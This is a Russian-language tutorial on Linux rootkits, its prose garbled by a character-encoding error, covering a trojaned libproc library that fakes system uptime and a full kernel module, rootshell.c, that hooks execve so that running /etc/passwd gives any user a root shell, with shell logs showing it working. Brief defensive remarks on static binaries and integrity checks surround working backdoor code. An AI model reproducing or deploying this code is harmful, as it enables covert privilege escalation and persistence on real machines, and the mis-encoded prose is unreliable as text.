óÅÇÏÄÎÑ, ÞÔÏÂÙ ÕÍÅÎØÛÉÔØ Ó×ÏÉ ÒÁÚÍÅÒÙ, ÂÏÌØÛÉÎÓÔ×Ï ÐÒÏÇÒÁÍÍ ÉÓÐÏÌØÚÕÀÔ ÄÉÎÁÍÉÞÅÓËÉÅ ÂÉÂÌÉÏÔÅËÉ. óÁÍÏÅ ÐÒÏÓÔÏÅ ÒÅÛÅÎÉÅ ÄÌÑ ×ÙÛÅÏÐÉÓÁÎÎÏÊ ÐÒÏÂÌÅÍÙ - ÎÅ ÉÚÍÅÎÑÔØ ËÁÖÄÕÀ ÐÒÏÇÒÁÍÍÕ, Á ÐÏÍÅÓÔÉÔØ ÎÕÖÎÙÅ ÆÕÎËÃÉÉ × ÓÏÏÔ×ÅÔÓÔ×ÕÀÝÕÀ ÂÉÂÌÉÏÔÅËÕ.

äÁ×ÁÊÔÅ ÒÁÓÓÍÏÔÒÉÍ ÐÒÉÍÅÒ, × ËÏÔÏÒÏÍ ×ÚÌÏÍÝÉË ÈÏÞÅÔ ÉÚÍÅÎÉÔØ ×ÒÅÍÑ, ÐÒÏÛÅÄÛÅÅ Ó ÍÏÍÅÎÔÁ ÚÁÇÒÕÚËÉ ÓÉÓÔÅÍÙ, ËÏÔÏÒÕÀ ÔÏÌØËÏ ÞÔÏ ÐÅÒÅÚÁÐÕÓÔÉÌ. üÔÕ ÉÎÆÏÒÍÁÃÉÀ ÍÏÖÎÏ ÐÏÌÕÞÉÔØ ÞÅÒÅÚ ÒÁÚÌÉÞÎÙÅ ËÏÍÁÎÄÙ, ÔÁËÉÅ ËÁË uptime, w, top.

þÔÏÂÙ ÕÚÎÁÔØ, ËÁËÉÅ ÂÉÂÌÉÏÔÅËÉ ÎÕÖÎÙ ÜÔÉÍ ÐÒÏÇÒÁÍÍÁÍ, ÉÓÐÏÌØÚÕÅÍ ËÏÍÁÎÄÕ ldd:

[pappy]# ldd `which uptime` `which ps` `which top`
/usr/bin/uptime:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000)
        libc.so.6 => /lib/libc.so.6 (0x40077000)
        libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

îÅ ÐÒÉÎÉÍÁÑ ×Ï ×ÎÉÍÁÎÉÅ libc, ÐÏÐÒÏÂÕÅÍ ÎÁÊÔÉ ÂÉÂÌÉÏÔÅËÕ libproc.so. äÏÓÔÁÔÏÞÎÏ ÄÏÓÔÁÔØ ÉÓÈÏÄÎÉËÉ É ÉÚÍÅÎÉÔØ ÔÏ ÞÔÏ ÎÁÍ ÎÁÄÏ. úÄÅÓØ ÍÙ ÂÕÄÅÍ ÉÓÐÏÌØÚÏ×ÁÔØ ×ÅÒÓÉÀ 2.0.7, ËÏÔÏÒÁÑ ÎÁÈÏÄÉÔÓÑ × ÄÉÒÅËÔÏÒÉÉ $PROCPS.

éÓÈÏÄÎÙÊ ËÏÄ ËÏÍÁÎÄÙ uptimeuptime.c) ÐÏËÁÚÙ×ÁÅÔ, ÞÔÏ ÍÙ ÍÏÖÅÍ ÎÁÊÔÉ ÆÕÎËÃÉÀ print_uptime()$PROCPS/proc/whattime.c) É ÆÕÎËÃÉÀ uptime(double *uptime_secs, double *idle_secs)$PROCPS/proc/sysinfo.c). äÁ×ÁÊÔÅ ÉÚÍÅÎÉÍ ÐÏÓÌÅÄÎÀÀ ÄÌÑ ÎÁÛÉÈ ÎÕÖÄ:

/* $PROCPS/proc/sysinfo.c */

 1:  int uptime(double *uptime_secs, double *idle_secs) {
 2:    double up=0, idle=1000;
 3:
 4:    FILE_TO_BUF(UPTIME_FILE,uptime_fd);
 5:    if (sscanf(buf, "%lf %lf", &up, &idle) < 2) {
 6:      fprintf(stderr, "bad data in " UPTIME_FILE "\n");
 7:      return 0;
 8:    }
 9:
10:  #ifdef _LIBROOTKIT_
11:    {
12:      char *term = getenv("TERM");
13:      if (term && strcmp(term, "satori"))
14:        up+=3600 * 24 * 365 * log(up);
15:    }
16:  #endif /*_LIBROOTKIT_*/
17:
18:    SET_IF_DESIRED(uptime_secs, up);
19:    SET_IF_DESIRED(idle_secs, idle);
20:
21:    return up;	/* ÎÁ ÐÒÁËÔÉËÅ ÎÉËÏÇÄÁ ÎÅ ÐÒÉÎÉÍÁÅÔ ÎÕÌÅ×ÏÇÏ ÚÎÁÞÅÎÉÑ */
22:  }

äÏÂÁ×ÌÅÎÉÅ ÓÔÒÏË Ó 10 ÐÏ 16 × ÉÓÈÏÄÎÕÀ ×ÅÒÓÉÀ, ÉÚÍÅÎÑÅÔ ÒÅÚÕÌØÔÁÔ, ×ÏÚ×ÒÁÝÁÅÍÙÊ ÆÕÎËÃÉÅÊ. åÓÌÉ ÐÅÒÅÍÅÎÎÁÑ ÏËÒÕÖÅÎÉÑ TERM ÎÅ ÓÏÄÅÒÖÉÔ ÓÔÒÏËÉ "satori", ÔÏ ÐÅÒÅÍÅÎÎÁÑ up Õ×ÅÌÉÞÉ×ÁÅÔÓÑ ÎÁ ÚÎÁÞÅÎÉÅ ÐÒÏÐÏÒÃÉÏÎÁÌØÎÏÅ ÌÏÇÁÒÉÆÍÕ ÏÔ ÎÁÓÔÏÑÝÅÇÏ ×ÒÅÍÅÎÉ ÒÁÂÏÔÙ ÓÉÓÔÅÍÙ (Ó ÔÁËÏÊ ÆÏÒÍÕÌÏÊ, ×ÒÅÍÑ ÒÁÂÏÔÙ ÓÉÓÔÅÍÙ ÂÙÓÔÒÏ ÓÔÁÎÅÔ ÒÁ×ÎÙÍ ÎÅÓËÏÌØËÉÍ ÇÏÄÁÍ :)

þÔÏÂÙ ÓËÏÍÐÉÌÉÒÏ×ÁÔØ ÎÁÛÕ ÎÏ×ÕÀ ÂÉÂÌÉÏÔÅËÕ, ÍÙ ÄÏÂÁ×ÉÍ ÏÐÃÉÉ -D_LIBROOTKIT_ É -lm (ÄÌÑ log(up);). åÓÌÉ ÍÙ ÐÏÓÍÏÔÒÉÍ ÐÒÉ ÐÏÍÏÝÉ ldd ÂÉÂÌÉÏÔÅËÉ, ÎÅÏÂÈÏÄÉÍÙÅ ÄÌÑ ÐÒÏÇÒÁÍÍ, ÉÓÐÏÌØÚÕÀÝÉÈ ÎÁÛÕ ÆÕÎËÃÉÀ uptime, ÍÙ Õ×ÉÄÉÍ libm ÓÒÅÄÉ ÎÉÈ. ë ÓÏÖÁÌÅÎÉÀ, ÜÔÏ ÎÅ ÔÁË ÄÌÑ ÐÒÏÇÒÁÍÍ, ÕÓÔÁÎÏ×ÌÅÎÎÙÈ × ÓÉÓÔÅÍÅ. éÓÐÏÌØÚÏ×ÁÎÉÅ ÎÁÛÅÊ ÂÉÂÌÉÏÔÅËÉ "ËÁË ÅÓÔØ" ×ÙÚÙ×ÁÅÔ ÓÌÅÄÕÀÝÕÀ ÏÛÉÂËÕ:

[procps-2.0.7]# ldd ./uptime //ÓËÏÍÐÉÌÉÒÏ×ÁÎÁ Ó ÎÏ×ÏÊ libproc.so
        libm.so.6 => /lib/libm.so.6 (0x40025000)
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000)
        libc.so.6 => /lib/libc.so.6 (0x40052000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# ldd `which uptime` //ÏÒÉÇÉÎÁÌØÎÁÑ ËÏÍÁÎÄÁ
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40031000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# uptime  //ÏÒÉÇÉÎÁÌØÎÁÑ ËÏÍÁÎÄÁ
uptime: error while loading shared libraries: /lib/libproc.so.2.0.7:
undefined symbol: log

þÔÏÂÙ ÎÅ ËÏÍÐÉÌÉÒÏ×ÁÔØ ËÁÖÄÕÀ ÐÒÏÇÒÁÍÍÕ, ÄÏÓÔÁÔÏÞÎÏ ÕËÁÚÁÔØ ÓÔÁÔÉÞÅÓËÏÅ ÉÓÐÏÌØÚÏ×ÁÎÉÅ ÍÁÔÅÍÁÔÉÞÅÓËÏÊ ÂÉÂÌÉÏÔÅËÉ ÐÒÉ ÓÏÚÄÁÎÉÉ libproc.so:

gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7
alloc.o compare.o devname.o ksym.o output.o pwcache.o
readproc.o signals.o status.o sysinfo.o version.o
whattime.o /usr/lib/libm.a

ôÁËÉÍ ÏÂÒÁÚÏÍ, ÆÕÎËÃÉÑ log() ÎÁÐÒÑÍÕÀ ×ËÌÀÞÁÅÔÓÑ × libproc.so. íÏÄÉÆÉÃÉÒÏ×ÁÎÎÁÑ ÂÉÂÌÉÏÔÅËÁ ÄÏÌÖÎÁ ÉÍÅÔØ ÔÅ ÖÅ ÚÁ×ÉÓÉÍÏÓÔÉ, ÞÔÏ É ÏÒÉÇÉÎÁÌØÎÁÑ, ÉÎÁÞÅ, ÐÒÏÇÒÁÍÍÙ ÎÅ ÂÕÄÕÔ ÒÁÂÏÔÁÔØ.

[pappy]# uptime
  2:12pm  up 7919 days,  1:28, 2 users, load average: 0.00, 0.03, 0.00

[pappy]# w
2:12pm  up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00
USER     TTY     FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:17m  1.02s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:17m  0.02s  0.02s  /bin/cat

[pappy]# top
2:14pm  up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00
51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped
CPU states:  2.9% user,  1.1% system,  0.0% nice, 95.8% idle
Mem:  191308K av, 181984K used,   9324K free, 0K shrd, 2680K buff
Swap: 249440K av,      0K used, 249440K free           79260K cached

[pappy]# export TERM=satori
[pappy]# uptime
2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00

[pappy]# w
2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00
USER     TTY     FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:20m  1.04s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:20m  0.02s  0.02s  /bin/cat

[pappy]# top
top: Unknown terminal "satori" in $TERM

÷ÓÅ ÏÔÌÉÞÎÏ ÒÁÂÏÔÁÅÔ. ðÏÈÏÖÅ, ÞÔÏ top ÉÓÐÏÌØÚÕÅÔ ÐÅÒÅÍÅÎÎÕÀ ÏËÒÕÖÅÎÉÑ TERM ÄÌÑ ÕÐÒÁ×ÌÅÎÉÑ Ó×ÏÉÍ ÏÔÏÂÒÁÖÅÎÉÅÍ. ìÕÞÛÅ ÉÓÐÏÌØÚÏ×ÁÔØ ÄÒÕÇÕÀ ÐÅÒÅÍÅÎÎÕÀ, ÄÌÑ ÐÒÅÄÏÓÔÁ×ÌÅÎÉÑ ÎÁÓÔÏÑÝÅÇÏ ÚÎÁÞÅÎÉÑ.

þÔÏÂÙ ÏÂÎÁÒÕÖÉÔØ ÉÚÍÅÎÅÎÉÑ × ÄÉÎÁÍÉÞÅÓËÉÈ ÂÉÂÌÉÏÔÅËÁÈ ÍÏÖÎÏ ÐÒÉÍÅÎÑÔØ ÔÏÔ ÖÅ ÍÅÔÏÄ, ÞÔÏ ÏÂÓÕÖÄÁÌÓÑ ÒÁÎÅÅ. äÏÓÔÁÔÏÞÎÏ ÐÒÏ×ÅÒÉÔØ ÈÜÛ. ë ÓÏÖÁÌÅÎÉÀ, ÏÞÅÎØ ÍÎÏÇÏ ÁÄÍÉÎÉÓÔÒÁÔÏÒÏ× ÎÅ ×ÙÞÉÓÌÑÀÔ ÈÜÛÉ ÄÌÑ ÎÉÈ, ÆÏËÕÓÉÒÕÑÓØ ÎÁ ÓÔÁÎÄÁÒÔÎÙÈ ÄÉÒÅËÔÏÒÉÑÈ (/bin, /sbin, /usr/bin, /usr/sbin, /etc...), × ÔÏ ×ÒÅÍÑ ËÁË ÄÉÒÅËÔÏÒÉÉ, ÓÏÄÅÒÖÁÝÉÅ ÜÔÉ ÂÉÂÌÉÏÔÅËÉ, ÔÁË ÖÅ ×ÁÖÎÙ, ËÁË É ÓÔÁÎÄÁÒÔÎÙÅ.

ïÄÎÁËÏ, ÉÎÔÅÒÅÓ Ë ÐÏÄÍÅÎÅ ÄÉÎÁÍÉÞÅÓËÉÈ ÂÉÂÌÉÏÔÅË ÏÓÎÏ×ÁÎ ÎÅ ÔÏÌØËÏ ÎÁ ×ÏÚÍÏÖÎÏÓÔÉ ÉÚÍÅÎÅÎÉÑ ÒÁÚÌÉÞÎÙÈ ÐÒÏÇÒÁÍÍ ÚÁ ÏÄÉÎ ÒÁÚ. îÅËÏÔÏÒÙÅ ÐÒÏÇÒÁÍÍÙ, ÐÒÅÄÎÁÚÎÁÞÅÎÎÙÅ ÄÌÑ ÐÒÏ×ÅÒËÉ ÃÅÌÏÓÔÎÏÓÔÉ, ÔÁËÖÅ ÉÓÐÏÌØÚÕÀÔ ÔÁËÉÅ ÂÉÂÌÉÏÔÅËÉ. üÔÏ ÏÞÅÎØ ÏÐÁÓÎÏ! îÁ ×ÁÖÎÙÈ ÓÉÓÔÅÍÁÈ ×ÓÅ ÏÓÎÏ×ÎÙÅ ÐÒÏÇÒÁÍÍÙ ÄÏÌÖÎÙ ÂÙÔØ ÓÔÁÔÉÞÅÓËÉ ÓËÏÍÐÉÌÉÒÏ×ÁÎÎÙÍÉ, ÔÁËÉÍ ÏÂÒÁÚÏÍ ÍÙ ÚÁÝÉÔÉÍ ÉÈ ÏÔ ×ÏÚÄÅÊÓÔ×ÉÑ ÉÚÍÅÎÅÎÉÊ × ÄÉÎÁÍÉÞÅÓËÉÈ ÂÉÂÌÉÏÔÅËÁÈ.

ðÏÜÔÏÍÕ, ÉÓÐÏÌØÚÏ×Á×ÛÁÑÓÑ ÐÒÏÇÒÁÍÍÁ md5sum, ×ÅÓØÍÁ ÏÐÁÓÎÁ:

[pappy]# ldd `which md5sum`
        libc.so.6 => /lib/libc.so.6 (0x40025000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

ïÎÁ ÄÉÎÁÍÉÞÅÓËÉ ×ÙÚÙ×ÁÅÔ ÆÕÎËÃÉÉ ÉÚ ÂÉÂÌÉÏÔÅËÉ libc, ËÏÔÏÒÁÑ ÍÏÖÅÔ ÂÙÔØ ÉÚÍÅÎÅÎÁ (ÐÒÏ×ÅÒØÔÅ nm -D `which md5sum`). îÁÐÒÉÍÅÒ, ÐÒÉ ÉÓÐÏÌØÚÏ×ÁÎÉÉ fopen(), ÄÏÓÔÁÔÏÞÎÏ ÐÒÏ×ÅÒÑÔØ ÐÕÔØ Ë ÆÁÊÌÕ, ÅÓÌÉ ÏÎ ÓÏ×ÐÁÄÁÅÔ Ó ÐÕÔÅÍ Ë ×ÚÌÏÍÁÎÎÏÊ ÐÒÏÇÒÁÍÍÅ, ÔÏ ÎÁÄÏ ÐÅÒÅÎÁÐÒÁ×ÉÔØ ÆÕÎËÃÉÀ ÎÁ ÏÒÉÇÉÎÁÌØÎÕÀ ÐÒÏÇÒÁÍÍÕ, ËÏÔÏÒÕÀ ×ÚÌÏÍÝÉË ÓÐÒÑÞÅÔ ÇÄÅ-ÎÉÂÕÄØ × ÓÉÓÔÅÍÅ.

üÔÏÔ ÐÒÏÓÔÅÊÛÉÊ ÐÒÉÍÅÒ ÄÅÍÏÎÓÔÒÉÒÕÅÔ ×ÏÚÍÏÖÎÏÓÔÉ ÄÌÑ ÏÄÕÒÁÞÉ×ÁÎÉÑ ÔÅÓÔÏ× ÎÁ ÃÅÌÏÓÔÎÏÓÔØ. íÙ ×ÉÄÅÌÉ, ÞÔÏ ÜÔÉ ÔÅÓÔÙ ÄÏÌÖÎÙ ÐÒÏ×ÏÄÉÔØÓÑ ÐÒÉ ÐÏÍÏÝÉ ×ÎÅÛÎÉÈ ÕÔÉÌÉÔ, ×ÚÑÔÙÈ Ó ÄÒÕÇÏÊ, ÎÅ ×ÚÌÏÍÁÎÎÏÊ, ÓÉÓÔÅÍÙ (ÓÒÁ×ÎÉ Ó ÒÁÚÄÅÌÏÍ Ï ÚÁÍÅÎÅ ÐÒÏÇÒÁÍÍ). ôÅÐÅÒØ ÍÙ ×ÙÑÓÎÉÌÉ, ÞÔÏ ÜÔÉ ÕÔÉÌÉÔÙ ÂÅÓÐÏÌÅÚÎÙ, ÅÓÌÉ ×ÙÚÙ×ÁÀÔ ÆÕÎËÃÉÉ ÉÚ ×ÚÌÏÍÁÎÎÏÊ ÓÉÓÔÅÍÙ.

ôÅÐÅÒØ ÍÙ ÍÏÖÅÍ ÓÏÚÄÁÔØ Á×ÁÒÉÊÎÙÊ ÎÁÂÏÒ ÄÌÑ ÏÂÎÁÒÕÖÅÎÉÑ ×ÚÌÏÍÝÉËÁ:

üÔÏÔ ÎÁÂÏÒ ÐÒÅÄÓÔÁ×ÌÑÅÔ ÓÏÂÏÊ ÍÉÎÉÍÕÍ. ôÁËÖÅ ×ÅÓØÍÁ ÐÏÌÅÚÎÙ É ÄÒÕÇÉÅ ËÏÍÁÎÄÙ:

úÁÍÅÔÉÍ, ÞÔÏ ÏÎÉ ÉÓÐÏÌØÚÕÀÔÓÑ ÎÅ ÔÏÌØËÏ ÄÌÑ ÏÂÎÁÒÕÖÅÎÉÑ ÐÒÉÓÕÔÓÔ×ÉÑ ×ÚÌÏÍÝÉËÁ, ÎÏ É ÄÌÑ ×ÙÑ×ÌÅÎÉÑ ÎÅÉÓÐÒÁ×ÎÏÓÔÅÊ × ÒÁÂÏÔÅ ÓÉÓÔÅÍÙ.

ïÞÅ×ÉÄÎÏ, ÞÔÏ ËÁÖÄÁÑ ÐÒÏÇÒÁÍÍÁ ÉÚ Á×ÁÒÉÊÎÏÇÏ ÎÁÂÏÒÁ ÄÏÌÖÎÁ ÂÙÔØ ÓÔÁÔÉÞÅÓËÉ ÓËÏÍÐÉÌÉÒÏ×ÁÎÁ. íÙ ÔÏÌØËÏ ÞÔÏ ×ÉÄÅÌÉ, ÞÔÏ ÄÉÎÁÍÉÞÅÓËÉÅ ÂÉÂÌÉÏÔÅËÉ ÍÏÇÕÔ ÐÏ×ÌÅÞØ ÇÕÂÉÔÅÌØÎÙÅ ÐÏÓÌÅÄÓÔ×ÉÑ.

 

íÏÄÕÌØ ÑÄÒÁ Linux (Linux Kernel Module - LKM) ÄÌÑ ÒÁÚ×ÌÅÞÅÎÉÑ É ÐÏÌØÚÙ

èÏÔÅÔØ ÉÚÍÅÎÉÔØ ËÁÖÄÕÀ ÐÒÏÇÒÁÍÍÕ, ËÏÔÏÒÁÑ ÍÏÖÅÔ ÏÂÎÁÒÕÖÉÔØ ÐÒÉÓÕÔÓÔ×ÉÅ ÆÁÊÌÁ, ÈÏÔÅÔØ ÄÅÒÖÁÔØ ÐÏÄ ËÏÎÔÒÏÌÅÍ ËÁÖÄÕÀ ÂÉÂÌÉÏÔÅËÕ - ÔÁËÉÍ ÖÅÌÁÎÉÑÍ ÎÅ×ÏÚÍÏÖÎÏ ÓÂÙÔØÓÑ. îÅ×ÏÚÍÏÖÎÏ ×Ù ÓËÁÚÁÌÉ? îÅ ÓÏ×ÓÅÍ.

ðÏÑ×ÉÌÏÓØ ÎÏ×ÏÅ ÐÏËÏÌÅÎÉÅ ÒÕÔËÉÔÏ×. ïÎÉ ÓÐÏÓÏÂÎÙ ÐÏÒÁÖÁÔØ ÑÄÒÏ.

 

÷ÏÚÍÏÖÎÏÓÔÉ LKM

îÅÏÇÒÁÎÉÞÅÎÎÙ! ëÁË ×ÉÄÎÏ ÉÚ ÎÁÚ×ÁÎÉÑ, LKM ÒÁÂÏÔÁÅÔ × ÐÒÏÓÔÒÁÎÓÔ×Å ÑÄÒÁ, ÐÏÜÔÏÍÕ ÍÏÖÅÔ ÉÍÅÔØ ÄÏÓÔÕÐ É ËÏÎÔÒÏÌØ ÎÁÄ ×ÓÅÍ.

÷ÚÌÏÍÝÉËÕ LKM ÐÏÚ×ÏÌÑÅÔ:

äÌÉÎÁ ÓÐÉÓËÁ ÚÁ×ÉÓÉÔ ÏÔ ÆÁÎÔÁÚÉÉ ×ÚÌÏÍÝÉËÁ. ïÄÎÁËÏ, ËÁË É ÐÒÏÔÉ× ÍÅÔÏÄÏ×, ËÏÔÏÒÙÅ ÏÂÓÕÖÄÁÌÉÓØ ×ÙÛÅ, ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÍÏÖÅÔ ÉÓÐÏÌØÚÏ×ÁÔØ ÔÅ ÖÅ ÕÔÉÌÉÔÙ É ÎÁÐÉÓÁÔØ Ó×ÏÉ ÍÏÄÕÌÉ ÄÌÑ ÚÁÝÉÔÙ ÓÉÓÔÅÍÙ × ÜÔÏÍ ÓÌÕÞÁÅ:

ëÁË ÚÁÝÉÔÉÔØÓÑ ÏÔ LKM? ðÒÉ ËÏÍÐÉÌÑÃÉÉ ÑÄÒÁ ÍÏÖÅÔ ÂÙÔØ ÏÔËÌÀÞÅÎÁ ÐÏÄÄÅÒÖËÁ ÍÏÄÕÌÅÊ (ÏÔ×ÅÔ N × CONFIG_MODULES), ÉÌÉ ÖÅ ÍÏÖÎÏ ÎÅ ÓÏÚÄÁ×ÁÔØ ÍÏÄÕÌÅÊ (ÏÔ×ÅÞÁÑ ÎÁ ×ÏÐÒÏÓÙ ÔÏÌØËÏ Y ÉÌÉ N). ÷ ÒÅÚÕÌØÔÁÔÅ ×Ù ÐÏÌÕÞÉÔÅ, ÔÁË ÎÁÚÙ×ÁÅÍÏÅ, ÍÏÎÏÌÉÔÎÏÅ ÑÄÒÏ.

ïÄÎÁËÏ ÄÁÖÅ ÅÓÌÉ ÑÄÒÏ ÎÅ ÉÍÅÅÔ ÐÏÄÄÅÒÖËÉ ÍÏÄÕÌÅÊ, ×ÏÚÍÏÖÎÁ ÚÁÇÒÕÚËÁ ÎÅËÏÔÏÒÙÈ ÉÚ ÎÉÈ × ÐÁÍÑÔØ (ÜÔÏ ÎÅ ÔÁË ÐÒÏÓÔÏ). óÉÌØ×ÉÏ ãÅÚÁÒÅ (Silvio Cesare) ÎÁÐÉÓÁÌ ÐÒÏÇÒÁÍÍÕ kinsmod, ËÏÔÏÒÁÑ ÐÏÚ×ÏÌÑÅÔ ×ÎÅÄÒÉÔØÓÑ × ÑÄÒÏ ÞÅÒÅÚ ÕÓÔÒÏÊÓÔ×Ï /dev/kmem, ËÏÔÏÒÏÅ ÕÐÒÁ×ÌÑÅÔ ÐÁÍÑÔØÀ ÑÄÒÁ (ÞÉÔÁÊÔÅ runtime-kernel-kmem-patching.txt ÎÁ ÅÇÏ ÓÔÒÁÎÉÃÅ).

ïÂÏÂÝÁÑ ÐÒÏÇÒÁÍÍÉÒÏ×ÁÎÉÅ ÍÏÄÕÌÅÊ, ÚÁÍÅÔÉÍ, ÞÔÏ ×ÓÅ ÚÁ×ÉÓÉÔ ÏÔ Ä×ÕÈ ÆÕÎËÃÉÊ Ó ËÏÎËÒÅÔÎÙÍÉ ÉÍÅÎÁÍÉ: init_module() É cleanup_module(). ïÎÉ ÏÐÒÅÄÅÌÑÀÔ ÐÏ×ÅÄÅÎÉÅ ÍÏÄÕÌÑ. îÏ ÔÁË ËÁË ÏÎÉ ×ÙÐÏÌÎÑÀÔÓÑ × ÐÒÏÓÔÒÁÎÓÔ×Å ÑÄÒÁ, ÔÏ ÉÍÅÀÔ ÄÏÓÔÕÐ ËÏ ×ÓÅÍÕ, ÞÔÏ ÒÁÓÐÏÌÏÖÅÎÏ × ÐÁÍÑÔÉ ÑÄÒÁ, ÎÁÐÒÉÍÅÒ Ë ÓÉÓÔÅÍÎÙÍ ×ÙÚÏ×ÁÍ ÉÌÉ ÓÉÍ×ÏÌÁÍ.

 

÷ÈÏÄ ÚÄÅÓØ!

òÁÓÓÍÏÔÒÉÍ, ËÁË ÕÓÔÁÎÏ×ÉÔØ ÂÜËÄÏÒ ÐÒÉ ÐÏÍÏÝÉ lkm. ðÏÌØÚÏ×ÁÔÅÌØ ÈÏÞÅÔ ÐÏÌÕÞÉÔØ ÏÂÏÌÏÞËÕ Ó ÐÒÁ×ÁÍÉ root, ÚÁÐÕÓÔÉ× ÄÌÑ ÜÔÏÇÏ ÔÏÌØËÏ ËÏÍÁÎÄÕ /etc/passwd. åÓÔÅÓÔ×ÅÎÎÏ, ÜÔÏÔ ÆÁÊÌ - ÎÅ ËÏÍÁÎÄÁ. ïÄÎÁËÏ, ÔÁË ËÁË ÍÙ ÐÅÒÅÈ×ÁÔÙ×ÁÅÍ ÓÉÓÔÅÍÎÙÊ ×ÙÚÏ× sys_execve(), ÔÏ ÐÅÒÅÎÁÐÒÁ×ÉÍ ÅÇÏ ÎÁ ËÏÍÁÎÄÕ /bin/sh, ÐÏÚÁÂÏÔÑÓØ Ï ÐÒÁ×ÁÈ ÁÄÍÉÎÉÓÔÒÁÔÏÒÁ ÄÌÑ ÜÔÏÊ ÏÂÏÌÏÞËÉ.

äÁÎÎÙÊ ÍÏÄÕÌØ ÂÙÌ ÐÒÏÔÅÓÔÉÒÏ×ÁÎ ÎÁ ÒÁÚÌÉÞÎÙÈ ÑÄÒÁÈ: 2.2.14, 2.2.16, 2.2.19, 2.4.4. ïÎ ÏÔÌÉÞÎÏ ÒÁÂÏÔÁÅÔ Ó ËÁÖÄÙÍ. ïÄÎÁËÏ Ó 2.2.19smp-ow1 (ÐÏÄÄÅÒÖËÁ ÍÎÏÇÏÐÒÏÃÅÓÓÏÒÎÏÓÔÉ Ó ÐÁÔÞÅÍ Openwall) ÚÁÐÕÓË ÏÂÏÌÏÞËÉ ÎÅ ÄÁÅÔ ÎÕÖÎÙÈ ÐÒÉ×ÉÌÅÇÉÊ. ñÄÒÏ - ×ÅÝØ ÞÕ×ÓÔ×ÉÔÅÌØÎÁÑ É ÈÒÕÐËÁÑ, ÐÏÜÔÏÍÕ ÂÕÄØÔÅ ÏÓÔÏÒÏÖÎÙ... ðÕÔØ Ë ÆÁÊÌÁÍ ÓÏÏÔ×ÅÔÓÔ×ÕÅÔ ÏÂÙÞÎÏÍÕ ÄÅÒÅ×Õ ÉÓÈÏÄÎÙÈ ËÏÄÏ× ÑÄÒÁ.

/* rootshell.c */
#define MODULE
#define __KERNEL__

#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <sys/syscall.h>
#include <linux/smp_lock.h>

#if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE
#include <linux/slab.h>
#endif

int (*old_execve)(struct pt_regs);

extern void *sys_call_table[];

#define ROOTSHELL "[rootshell] "

char magic_cmd[] = "/bin/sh";

int new_execve(struct pt_regs regs) {
  int error;
  char * filename, *new_exe = NULL;
  char hacked_cmd[] = "/etc/passwd";

  lock_kernel();
  filename = getname((char *) regs.ebx);

  printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename,
      current->uid, current->euid, current->suid, current->fsuid,
      current->gid, current->egid, current->sgid, current->fsgid);

  error = PTR_ERR(filename);
  if (IS_ERR(filename))
    goto out;

  if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) {
    printk(ROOTSHELL " ðÏÌÕÞÉÌÉ:)))\n");
    current->uid = current->euid = current->suid =
                      current->fsuid = 0;
    current->gid = current->egid = current->sgid =
                      current->fsgid = 0;

    cap_t(current->cap_effective) = ~0;
    cap_t(current->cap_inheritable) = ~0;
    cap_t(current->cap_permitted) = ~0;

    new_exe = magic_cmd;
  } else
    new_exe = filename;

  error = do_execve(new_exe, (char **) regs.ecx,
                   (char **) regs.edx, &regs);
  if (error == 0)
#ifdef PT_DTRACE	/* 2.2 vs. 2.4 */
    current->ptrace &= ~PT_DTRACE;
#else
  current->flags &= ~PF_DTRACE;
#endif
   putname(filename);
 out:
  unlock_kernel();
  return error;
}

int init_module(void)
{
  lock_kernel();

  printk(ROOTSHELL "úÁÇÒÕÖÅÎ:)\n");

#define REPLACE(x) old_##x = sys_call_table[__NR_##x];\
		  sys_call_table[__NR_##x] = new_##x

  REPLACE(execve);

  unlock_kernel();
  return 0;
}

void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
  RESTORE(execve);

  printk(ROOTSHELL "÷ÙÇÒÕÖÅÎ:(\n");
}

ðÒÏ×ÅÒÉÍ, ÞÔÏ ×ÓÅ ÒÁÂÏÔÁÅÔ ËÁË ÎÁÄÏ:

[root@charly rootshell]$ insmod rootshell.o
[root@charly rootshell]$ exit
exit
[pappy]# id
uid=500(pappy) gid=100(users) groups=100(users)
[pappy]# /etc/passwd
[root@charly rootshell]$ id
uid=0(root) gid=0(root) groups=100(users)
[root@charly rootshell]$ rmmod rootshell
[root@charly rootshell]$ exit
exit
[pappy]#

